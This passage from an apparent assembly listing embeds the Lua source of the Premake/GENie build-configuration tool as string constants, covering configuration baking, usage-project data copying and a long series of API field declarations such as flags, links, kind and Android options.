isnameofproj(dstCfg, p)) then\n table.insert(dstCfg[strDstField], p)\n else\n printf(\"Failed to copy '%s' from proj '%s'.\",\n p, srcCfg.project.name);\n end\n end\n else\n for i,p in ipairs(srcCfg[strSrcField]) do\n table.insert(dstCfg[strDstField], p)\n end\n end\n end\n else\n if(srcField.kind == \"path\" and (not keeprelative[strSrcField])) then\n dstCfg[strDstField] = path.rebase(srcCfg[strSrcField],\n prj.location, dstCfg.project.location);\n else\n dstCfg[strDstField] = srcCfg[strSrcField];\n end\n end\n end\n --\n -- This function will take the list of project entries and apply their usage project data\n -- to the given configuration. It will copy compiling information for the projects that are\n -- not listed as linkage-only. It will copy the linking information for projects only if\n -- the source project is not a static library. It won't copy linking information\n -- if the project is in this solution; instead it will add that project to the configuration's\n -- links field, expecting that Premake will handle the rest.\n --\n local function copyusagedata(cfg, cfgname, linkToProjs)\n local myPrj = cfg.project;\n local bIsStaticLib = (getCfgKind(cfg) == \"StaticLib\");\n for prjName, prjEntry in pairs(linkToProjs) do\n local srcPrj = prjEntry.usageProj;\n local srcCfg = srcPrj.__configs[cfgname];\n for name, field in pairs(premake.fields) do\n if(srcCfg[name]) then\n if(field.usagecopy) then\n if(not prjEntry.bLinkageOnly) then\n copydependentfield(srcCfg, cfg, name)\n end\n elseif(field.linkagecopy) then\n --Copy the linkage data if we're building a non-static thing\n --and this is a pure usage project. If it's not pure-usage, then\n --we will simply put the project's name in the links field later.\n if((not bIsStaticLib) and (not prjEntry.proj)) then\n copydependentfield(srcCfg, cfg, name)\n end\n end\n end\n end\n if((not bIsStaticLib) and prjEntry.proj) then\n table.insert(cfg.links, prjEntry.proj.name);\n end\n end\n end\n local function inverseliteralvpaths()\n for sln in premake.solution.each() do\n for _,prj in ipairs(sln.projects) do\n prj.inversevpaths = {}\n for replacement, patterns in pairs(prj.vpaths or {}) do\n for _, pattern in ipairs(patterns) do\n if string.find(pattern, \"*\") == nil then\n prj.inversevpaths[pattern] = replacement\n end\n end\n end\n end\n end\n end\nfunction premake.bake.buildconfigs()\nfor sln in premake.solution.each() do\nfor _, prj in ipairs(sln.projects) do\nprj.location = prj.location or sln.location or prj.basedir\nadjustpaths(prj.location, prj)\nfor _, blk in ipairs(prj.blocks) do\nadjustpaths(prj.location, blk)\nend\nend\nsln.location = sln.location or sln.basedir\nend\n -- convert paths for imported projects to be relative to solution location\nfor sln in premake.solution.each() do\nfor _, iprj in ipairs(sln.importedprojects) do\niprj.location = path.getabsolute(iprj.location)\nend\nend\n inverseliteralvpaths()\nfor sln in premake.solution.each() do\nlocal basis = collapse(sln)\nfor _, prj in ipairs(sln.projects) do\nprj.__configs = collapse(prj, basis)\nfor _, cfg in pairs(prj.__configs) do\nbake.postprocess(prj, cfg)\nend\nend\nend\nfor sln in premake.solution.each() do\nfor prjIx, prj in ipairs(sln.projects) do\nif(not prj.usage) then\nfor cfgname, cfg in pairs(prj.__configs) do\nlocal usesPrjs = getprojectsconnections(cfg, cfgname);\ncopyusagedata(cfg, cfgname, usesPrjs)\nend\nend\nend\nend\nfor sln in premake.solution.each() do\nfor prjIx, prj in ipairs(sln.projects) do\nfor cfgName, cfg in pairs(prj.__configs) do\ncfg.build = true\nlocal removes = nil\nif cfg.removes ~= nil then\nremoves = cfg.removes[\"platforms\"];\nend\nif removes ~= nil then\nfor _,p in ipairs(removes) do\nif p == cfg.platform then\ncfg.build = false\nend\nend\nend\nend\nend\nend\nfor sln in premake.solution.each() do\nlocal removeList = {};\nfor index, prj in ipairs(sln.projects) do\nif(prj.usage) then\ntable.insert(removeList, 1, index); --Add in reverse order.\nend\nend\nfor _, index in ipairs(removeList) do\ntable.remove(sln.projects, index);\nend\nend\nbuilduniquedirs()\nbuildtargets(cfg)\nend\nfunction premake.bake.postprocess(prj, cfg)\ncfg.project = prj\ncfg.shortname = premake.getconfigname(cfg.name, cfg.platform, true)\ncfg.longname = premake.getconfigname(cfg.name, cfg.platform)\ncfg.location = cfg.location or cfg.basedir\nlocal platform = premake.platforms[cfg.platform]\nif platform.iscrosscompiler then\ncfg.system = cfg.platform\nelse\ncfg.system = os.get()\nend\nif cfg.kind == \"Bundle\"\nand _ACTION ~= \"gmake\"\nand (_ACTION ~= \"ninja\" and (not prj.options or not prj.options.SkipBundling))\nand not _ACTION:match(\"xcode[0-9]\") then\ncfg.kind = \"SharedLib\"\nend\nif cfg.kind == \"SharedLib\" and platform.nosharedlibs then\ncfg.kind = \"StaticLib\"\nend\nlocal removefiles = cfg.removefiles\nif _ACTION == 'gmake' or _ACTION == 'ninja' then\nremovefiles = table.join(removefiles, cfg.excludes)\nend\nlocal removefilesDict = {}\nfor _, fname in ipairs(removefiles) do\nremovefilesDict[fname] = true\nend\nlocal files = {}\nfor _, fname in ipairs(cfg.files) do\nif removefilesDict[fname] == nil then\ntable.insert(files, fname)\nend\nend\ncfg.files = files\nlocal allfiles = {}\nlocal allfilesDict = {}\nif cfg.allfiles ~= nil then\nfor _, fname in ipairs(cfg.allfiles) do\nif allfilesDict[fname] == nil then\nif removefilesDict[fname] == nil then\nallfilesDict[fname] = true\ntable.insert(allfiles, fname)\nend\nend\nend\nend\ncfg.allfiles = allfiles\nfor name, field in pairs(premake.fields) do\nif field.isflags then\nlocal values = cfg[name]\nfor _, flag in ipairs(values) do values[flag] = true end\nend\nend\nlocal cfgfields = {\n{\"__fileconfigs\", cfg.files},\n{\"__allfileconfigs\", cfg.allfiles},\n}\nfor _, cfgfield in ipairs(cfgfields) do\nlocal fieldname = cfgfield[1]\nlocal field = cfgfield[2]\ncfg[fieldname] = { }\nfor _, fname in ipairs(field) do\nlocal fcfg = {}\nif premake._filelevelconfig then\ncfg.terms.required = fname:lower()\nfor _, blk in ipairs(cfg.project.blocks) do\nif (premake.iskeywordsmatch(blk.keywords, cfg.terms)) then\nmergeobject(fcfg, blk)\nend\nend\nend\nfcfg.name = fname\ncfg[fieldname][fname] = fcfg\ntable.insert(cfg[fieldname], fcfg)\nend\nend\nend\n"
l_.str.13: ; @.str.13
.asciz "premake.fields = {}\npremake.check_paths = false\nfunction premake.checkvalue(value, allowed)\nif (allowed) then\nif (type(allowed) == \"function\") then\nreturn allowed(value)\nelse\nfor _,v in ipairs(allowed) do\nif (value:lower() == v:lower()) then\nreturn v\nend\nend\nreturn nil, \"invalid value '\" .. value .. \"'\"\nend\nelse\nreturn value\nend\nend\nfunction premake.getobject(t)\nlocal container\nif (t == \"container\" or t == \"solution\") then\ncontainer = premake.CurrentContainer\nelse\ncontainer = premake.CurrentConfiguration\nend\nif t == \"solution\" then\nif typex(container) == \"project\" then\ncontainer = container.solution\nend\nif typex(container) ~= \"solution\" then\ncontainer = nil\nend\nend\nlocal msg\nif (not container) then\nif (t == \"container\") then\nmsg = \"no active solution or project\"\nelseif (t == \"solution\") then\nmsg = \"no active solution\"\nelse\nmsg = \"no active solution, project, or configuration\"\nend\nend\nreturn container, msg\nend\nfunction premake.setarray(obj, fieldname, value, allowed)\nobj[fieldname] = obj[fieldname] or {}\nlocal function add(value, depth)\nif type(value) == \"table\" then\nfor _,v in ipairs(value) do\nadd(v, depth + 1)\nend\nelse\nvalue, err = premake.checkvalue(value, allowed)\nif not value then\nerror(err, depth)\nend\ntable.insert(obj[fieldname], value)\nend\nend\nif value then\nadd(value, 5)\nend\nreturn obj[fieldname]\nend\nfunction premake.settable(obj, fieldname, value, allowed)\nobj[fieldname] = obj[fieldname] or {}\ntable.insert(obj[fieldname], value)\nreturn obj[fieldname]\nend\nlocal function domatchedarray(fields, value, matchfunc)\nlocal result = { }\nfunction makeabsolute(value, depth)\nif (type(value) == \"table\") then\nfor _, item in ipairs(value) do\nmakeabsolute(item, depth + 1)\nend\nelseif type(value) == \"string\" then\nif value:find(\"*\") then\nlocal arr = matchfunc(value);\nif (premake.check_paths) and (#arr == 0) then\nerror(\"Can't find matching files for pattern :\" .. value)\nend\nmakeabsolute(arr, depth + 1)\nelse\ntable.insert(result, path.getabsolute(value))\nend\nelse\nerror(\"Invalid value in list: expected string, got \" .. type(value), depth)\nend\nend\nmakeabsolute(value, 3)\nlocal retval = {}\nfor index, field in ipairs(fields) do\nlocal ctype = field[1]\nlocal fieldname = field[2]\nlocal array = premake.setarray(ctype, fieldname, result)\nif index == 1 then\nretval = array\nend\nend\nreturn retval\nend\nfunction premake.setdirarray(fields, value)\nreturn domatchedarray(fields, value, os.matchdirs)\nend\nfunction premake.setfilearray(fields, value)\nreturn domatchedarray(fields, value, os.matchfiles)\nend\nfunction premake.setkeyvalue(ctype, fieldname, values)\nlocal container, err = premake.getobject(ctype)\nif not container then\nerror(err, 4)\nend\nif not container[fieldname] then\ncontainer[fieldname] = {}\nend\nif type(values) ~= \"table\" then\nerror(\"invalid value; table expected\", 4)\nend\nlocal field = container[fieldname]\nfor key,value in pairs(values) do\nif not field[key] then\nfield[key] = {}\nend\ntable.insertflat(field[key], value)\nend\nreturn field\nend\nfunction premake.setstring(ctype, fieldname, value, allowed)\nlocal container, err = premake.getobject(ctype)\nif (not container) then\nerror(err, 4)\nend\nif (value) then\nvalue, err = premake.checkvalue(value, allowed)\nif (not value) then\nerror(err, 4)\nend\ncontainer[fieldname] = value\nend\nreturn container[fieldname]\nend\nfunction premake.remove(fieldname, value)\nlocal cfg = premake.CurrentConfiguration\ncfg.removes = cfg.removes or {}\ncfg.removes[fieldname] = premake.setarray(cfg.removes, fieldname, value)\nend\nlocal function accessor(name, value)\nlocal kind = premake.fields[name].kind\nlocal scope = premake.fields[name].scope\nlocal allowed = premake.fields[name].allowed\nif (kind == \"string\" or kind == \"path\") and value then\nif type(value) ~= \"string\" then\nerror(\"string value expected\", 3)\nend\nend\nlocal container, err = premake.getobject(scope)\nif (not container) then\nerror(err, 3)\nend\nif kind == \"string\" then\nreturn premake.setstring(scope, name, value, allowed)\nelseif kind == \"path\" then\nif value then value = path.getabsolute(value) end\nreturn premake.setstring(scope, name, value)\nelseif kind == \"list\" then\nreturn premake.setarray(container, name, value, allowed)\nelseif kind == \"table\" then\nreturn premake.settable(container, name, value, allowed)\nelseif kind == \"dirlist\" then\nreturn premake.setdirarray({{container, name}}, value)\nelseif kind == \"filelist\" or kind == \"absolutefilelist\" then\nlocal fields = {{container, name}}\nif name == \"files\" then\nlocal prj, err = premake.getobject(\"container\")\nif (not prj) then\nerror(err, 2)\nend\ntable.insert(fields, {prj.blocks[1], \"allfiles\"})\nend\nreturn premake.setfilearray(fields, value)\nelseif kind == \"keyvalue\" or kind == \"keypath\" then\nreturn premake.setkeyvalue(scope, name, value)\nend\nend\nfunction configuration(terms)\nif not terms then\nreturn premake.CurrentConfiguration\nend\nlocal container, err = premake.getobject(\"container\")\nif (not container) then\nerror(err, 2)\nend\nlocal cfg = { }\ncfg.terms = table.flatten({terms})\ntable.insert(container.blocks, cfg)\npremake.CurrentConfiguration = cfg\ncfg.keywords = { }\nfor _, word in ipairs(cfg.terms) do\ntable.insert(cfg.keywords, path.wildcards(word):lower())\nend\nfor name, field in pairs(premake.fields) do\nif (field.kind ~= \"string\" and field.kind ~= \"path\") then\ncfg[name] = { }\nend\nend\nreturn cfg\nend\nlocal function creategroup(name, sln, curpath, parent, inpath)\nlocal group = {}\nsetmetatable(group, {\n__type = \"group\"\n})\ntable.insert(sln.groups, group)\nsln.groups[inpath] = group\nif parent ~= nil then\ntable.insert(parent.groups, group)\nend\ngroup.solution = sln\ngroup.name = name\ngroup.uuid = os.uuid(curpath)\ngroup.parent = parent\ngroup.projects = { }\ngroup.groups = { }\nreturn group\nend\nlocal function creategroupsfrompath(inpath, sln)\nif inpath == nil then return nil end\ninpath = path.translate(inpath, \"/\")\nlocal groups = string.explode(inpath, \"/\")\nlocal curpath = \"\"\nlocal lastgroup = nil\nfor i, v in ipairs(groups) do\ncurpath = curpath .. \"/\" .. v:lower()\nlocal group = sln.groups[curpath]\nif group == nil then\ngroup = creategroup(v, sln, curpath, lastgroup, curpath)\nend\nlastgroup = group\nend\nreturn lastgroup\nend\nlocal function createproject(name, sln, isUsage)\nlocal prj = {}\nsetmetatable(prj, {\n__type = \"project\",\n})\ntable.insert(sln.projects, prj)\nif(isUsage) then\nif(sln.projects[name]) then\nsln.projects[name].usageProj = prj;\nelse\nsln.projects[name] = prj\nend\nelse\nif(sln.projects[name]) then\nprj.usageProj = sln.projects[name];\nend\nsln.projects[name] = prj\nend\nlocal group = creategroupsfrompath(premake.CurrentGroup, sln)\nif group ~= nil then\ntable.insert(group.projects, prj)\nend\nprj.solution = sln\nprj.name = name\nprj.basedir = os.getcwd()\nprj.uuid = os.uuid(prj.name)\nprj.blocks = { }\nprj.usage = isUsage\nprj.group = group\nreturn prj;\nend\nfunction usage(name)\nif (not name) then\nif(typex(premake.CurrentContainer) ~= \"project\") then return nil end\nif(not premake.CurrentContainer.usage) then return nil end\nreturn premake.CurrentContainer\nend\nlocal sln\nif (typex(premake.CurrentContainer) == \"project\") then\nsln = premake.CurrentContainer.solution\nelse\nsln = premake.CurrentContainer\nend\nif (typex(sln) ~= \"solution\") then\nerror(\"no active solution\", 2)\nend\nif((not sln.projects[name]) or\n((not sln.projects[name].usage) and (not sln.projects[name].usageProj))) then\npremake.CurrentContainer = createproject(name, sln, true)\nelse\npremake.CurrentContainer = iff(sln.projects[name].usage,\nsln.projects[name], sln.projects[name].usageProj)\nend\nconfiguration { }\nreturn premake.CurrentContainer\nend\nfunction project(name)\nif (not name) then\nif(typex(premake.CurrentContainer) ~= \"project\") then return nil end\nif(premake.CurrentContainer.usage) then return nil end\nreturn premake.CurrentContainer\nend\nlocal sln\nif (typex(premake.CurrentContainer) == \"project\") then\nsln = premake.CurrentContainer.solution\nelse\nsln = premake.CurrentContainer\nend\nif (typex(sln) ~= \"solution\") then\nerror(\"no active solution\", 2)\nend\nif((not sln.projects[name]) or sln.projects[name].usage) then\npremake.CurrentContainer = createproject(name, sln)\nelse\npremake.CurrentContainer = sln.projects[name];\nend\nconfiguration { }\nreturn premake.CurrentContainer\nend\nfunction solution(name)\nif not name then\nif typex(premake.CurrentContainer) == \"project\" then\nreturn premake.CurrentContainer.solution\nelse\nreturn premake.CurrentContainer\nend\nend\npremake.CurrentContainer = premake.solution.get(name)\nif (not premake.CurrentContainer) then\npremake.CurrentContainer = premake.solution.new(name)\nend\nconfiguration { }\nreturn premake.CurrentContainer\nend\nfunction group(name)\nif not name then\nreturn premake.CurrentGroup\nend\npremake.CurrentGroup = name\nreturn premake.CurrentGroup\nend\nfunction importvsproject(location)\nif string.find(_ACTION, \"vs\") ~= 1 then\nerror(\"Only available for visual studio actions\")\nend\nsln, err = premake.getobject(\"solution\")\nif not sln then\nerror(err)\nend\nlocal group = creategroupsfrompath(premake.CurrentGroup, sln)\nlocal project = {}\nproject.location = location\nproject.group = group\nproject.flags = {}\ntable.insert(sln.importedprojects, project)\n end\nfunction newaction(a)\npremake.action.add(a)\nend\nfunction newoption(opt)\npremake.option.add(opt)\nend\nfunction enablefilelevelconfig()\npremake._filelevelconfig = true\nend\nfunction newapifield(field)\npremake.fields[field.name] = field\n_G[field.name] = function(value)\nreturn accessor(field.name, value)\nend\nif field.kind == \"list\"\nor field.kind == \"dirlist\"\nor field.kind == \"filelist\"\nor field.kind == \"absolutefilelist\"\nthen\nif field.name ~= \"removefiles\"\nand field.name ~= \"files\" then\n_G[\"remove\"..field.name] = function(value)\npremake.remove(field.name, value)\nend\nend\nend\nend\nnewapifield {\nname = \"archivesplit_size\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"basedir\",\nkind = \"path\",\nscope = \"container\",\n}\nnewapifield {\nname = \"buildaction\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"Compile\",\n\"Copy\",\n\"Embed\",\n\"None\"\n}\n}\nnewapifield {\nname = \"buildoptions\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_asm\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_c\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_cpp\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_objc\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_objcpp\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_vala\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"clrreferences\",\nkind = \"list\",\nscope = \"container\",\n}\nnewapifield {\nname = \"configurations\",\nkind = \"list\",\nscope = \"solution\",\n}\nnewapifield {\nname = \"custombuildtask\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"debugcmd\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"debugargs\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"debugdir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"debugenvs\" ,\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"defines\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"deploymentoptions\",\nkind = \"list\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"dependency\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"deploymode\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"excludes\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"forcenative\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"nopch\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"files\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"removefiles\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"flags\",\nkind = \"list\",\nscope = \"config\",\nisflags = true,\nusagecopy = true,\nallowed = function(value)\nlocal allowed_flags = {\nAntBuildDebuggable = 1,\nATL = 1,\nC7DebugInfo = 1,\nCpp11 = 1,\nCpp14 = 1,\nCpp17 = 1,\nCppLatest = 1,\nDebugEnvsDontMerge = 1,\nDebugEnvsInherit = 1,\nDeploymentContent = 1,\nEnableMinimalRebuild = 1,\nEnableSSE = 1,\nEnableSSE2 = 1,\nEnableAVX = 1,\nEnableAVX2 = 1,\nPedanticWarnings = 1,\nExtraWarnings = 1,\nFatalWarnings = 1,\nFloatFast = 1,\nFloatStrict = 1,\nFullSymbols = 1,\nGenerateMapFiles = 1,\nHotpatchable = 1,\nLinkSupportCircularDependencies = 1,\nManaged = 1,\nMinimumWarnings = 1,\nMFC = 1,\nNativeWChar = 1,\nNo64BitChecks = 1,\nNoBufferSecurityCheck = 1,\nNoEditAndContinue = 1,\nNoExceptions = 1,\nNoFramePointer = 1,\nNoImportLib = 1,\nNoIncrementalLink = 1,\nNoJMC = 1,\nNoManifest = 1,\nNoMultiProcessorCompilation = 1,\nNoNativeWChar = 1,\nNoOptimizeLink = 1,\nNoPCH = 1,\nNoRTTI = 1,\nNoRuntimeChecks = 1,\nNoWinMD = 1, -- explicitly disables Windows Metadata\nNoWinRT = 1, -- explicitly disables Windows Runtime Extension\nFastCall = 1,\nStdCall = 1,\nSingleOutputDir = 1,\nObjcARC = 1,\nOptimize = 1,\nOptimizeSize = 1,\nOptimizeSpeed = 1,\nDebugRuntime = 1,\nReleaseRuntime = 1,\nSEH = 1,\nStaticATL = 1,\nStaticRuntime = 1,\nSymbols = 1,\nUnicode = 1,\nUnitySupport = 1,\nUnsafe = 1,\nUnsignedChar = 1,\nUseFullPaths = 1,\nUseLDResponseFile = 1,\nUseObjectResponseFile = 1,\nWinMain = 1\n}\nlocal englishToAmericanSpelling =\n{\nnooptimiselink = 'nooptimizelink',\noptimise = 'optimize',\noptimisesize = 'optimizesize',\noptimisespeed = 'optimizespeed',\n}\nlocal lowervalue = value:lower()\nlowervalue = englishToAmericanSpelling[lowervalue] or lowervalue\nfor v, _ in pairs(allowed_flags) do\nif v:lower() == lowervalue then\nreturn v\nend\nend\nreturn nil, \"invalid flag\"\nend,\n}\nnewapifield {\nname = \"framework\",\nkind = \"string\",\nscope = \"container\",\nallowed = {\n\"1.0\",\n\"1.1\",\n\"2.0\",\n\"3.0\",\n\"3.5\",\n\"4.0\",\n\"4.5\",\n\"4.5.1\",\n\"4.5.2\",\n\"4.6\",\n\"4.6.1\",\n\"4.6.2\",\n}\n}\nnewapifield {\nname = \"iostargetplatformversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"macostargetplatformversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"tvostargetplatformversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"windowstargetplatformversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"windowstargetplatformminversion\",\nkind = \"string\",\nscope = \"project\",\n}\nnewapifield {\nname = \"forcedincludes\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"imagepath\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"imageoptions\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibdir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibextension\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibname\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibprefix\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"implibsuffix\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"includedirs\",\nkind = \"dirlist\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"systemincludedirs\",\nkind = \"dirlist\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"userincludedirs\",\nkind = \"dirlist\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"usingdirs\",\nkind = \"dirlist\",\nscope = \"config\",\nusagecopy = true,\n}\nnewapifield {\nname = \"kind\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"ConsoleApp\",\n\"WindowedApp\",\n\"StaticLib\",\n\"SharedLib\",\n\"Bundle\",\n}\n}\nnewapifield {\nname = \"language\",\nkind = \"string\",\nscope = \"container\",\nallowed = {\n\"C\",\n\"C++\",\n\"C#\",\n\"Vala\",\n\"Swift\",\n}\n}\nnewapifield {\nname = \"libdirs\",\nkind = \"dirlist\",\nscope = \"config\",\nlinkagecopy = true,\n}\nnewapifield {\nname = \"linkoptions\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"links\",\nkind = \"list\",\nscope = \"config\",\nallowed = function(value)\nif value:find('/', nil, true) then\nvalue = path.getabsolute(value)\nend\nreturn value\nend,\nlinkagecopy = true,\nmergecopiestotail = true,\n}\nnewapifield {\nname = \"location\",\nkind = \"path\",\nscope = \"container\",\n}\nnewapifield {\nname = \"makesettings\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"messageskip\",\nkind = \"list\",\nscope = \"solution\",\nisflags = true,\nusagecopy = true,\nallowed = function(value)\nlocal allowed_messages = {\nSkipCreatingMessage = 1,\nSkipBuildingMessage = 1,\nSkipCleaningMessage = 1,\n}\nlocal lowervalue = value:lower()\nfor v, _ in pairs(allowed_messages) do\nif v:lower() == lowervalue then\nreturn v\nend\nend\nreturn nil, \"invalid message to skip\"\nend,\n}\nnewapifield {\nname = \"msgarchiving\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msgcompile\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msgprecompile\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msgcompile_objc\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msgresource\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"msglinking\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"objdir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"options\",\nkind = \"list\",\nscope = \"container\",\nisflags = true,\nusagecopy = true,\nallowed = function(value)\nlocal allowed_options = {\nForceCPP = 1,\nArchiveSplit = 1,\nSkipBundling = 1,\nXcodeLibrarySchemes = 1,\nXcodeSchemeNoConfigs = 1,\n}\nlocal lowervalue = value:lower()\nfor v, _ in pairs(allowed_options) do\nif v:lower() == lowervalue then\nreturn v\nend\nend\nreturn nil, \"invalid option\"\nend,\n}\nnewapifield {\nname = \"pchheader\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"pchsource\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"platforms\",\nkind = \"list\",\nscope = \"solution\",\nallowed = table.keys(premake.platforms),\n}\nnewapifield {\nname = \"postbuildcommands\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"prebuildcommands\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"postcompiletasks\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"prelinkcommands\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"propertysheets\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"pullmappingfile\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"applicationdatadir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"finalizemetasource\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"resdefines\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"resincludedirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"resoptions\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"sdkreferences\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"startproject\",\nkind = \"string\",\nscope = \"solution\",\n}\nnewapifield {\nname = \"targetdir\",\nkind = \"path\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetsubdir\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetextension\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetname\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetprefix\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"targetsuffix\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"trimpaths\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"uuid\",\nkind = \"string\",\nscope = \"container\",\nallowed = function(value)\nlocal ok = true\nif (#value ~= 36) then ok = false end\nfor i=1,36 do\nlocal ch = value:sub(i,i)\nif (not ch:find(\"[ABCDEFabcdef0123456789-]\")) then ok = false end\nend\nif (value:sub(9,9) ~= \"-\") then ok = false end\nif (value:sub(14,14) ~= \"-\") then ok = false end\nif (value:sub(19,19) ~= \"-\") then ok = false end\nif (value:sub(24,24) ~= \"-\") then ok = false end\nif (not ok) then\nreturn nil, \"invalid UUID\"\nend\nreturn value:upper()\nend\n}\nnewapifield {\nname = \"uses\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"vapidirs\",\nkind = \"dirlist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"vpaths\",\nkind = \"keypath\",\nscope = \"container\",\n}\nnewapifield {\nname = \"vsimportreferences\",\nkind = \"filelist\",\nscope = \"container\",\n}\nnewapifield {\nname = \"dpiawareness\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"None\",\n\"High\",\n\"HighPerMonitor\",\n}\n}\nnewapifield {\nname = \"xcodeprojectopts\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"xcodetargetopts\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"xcodescriptphases\",\nkind = \"table\",\nscope = \"config\",\n}\nnewapifield {\nname = \"xcodecopyresources\",\nkind = \"table\",\nscope = \"project\",\n}\nnewapifield {\nname = \"xcodecopyframeworks\",\nkind = \"filelist\",\nscope = \"project\",\n}\nnewapifield {\nname = \"wholearchive\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"swiftmodulemaps\",\nkind = \"filelist\",\nscope = \"config\",\n}\nnewapifield {\nname = \"buildoptions_swift\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"linkoptions_swift\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidtargetapi\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidminapi\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidarch\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"armv7-a\",\n\"armv7-a-hard\",\n\"arm64-v8a\",\n\"x86\",\n\"x86_64\",\n}\n}\nnewapifield {\nname = \"androidndktoolchainversion\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidstltype\",\nkind = \"string\",\nscope = \"config\",\n}\nnewapifield {\nname = \"androidcppstandard\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"c++98\",\n\"c++11\",\n\"c++1y\",\n\"gnu++98\",\n\"gnu++11\",\n\"gnu++1y\",\n}\n}\nnewapifield {\nname = \"androidlinker\",\nkind = \"string\",\nscope = \"config\",\nallowed = {\n\"bfd\",\n\"gold\",\n}\n}\nnewapifield {\nname = \"androiddebugintentparams\",\nkind = \"list\",\nscope = \"config\",\n}\nnewapifield {\nname = 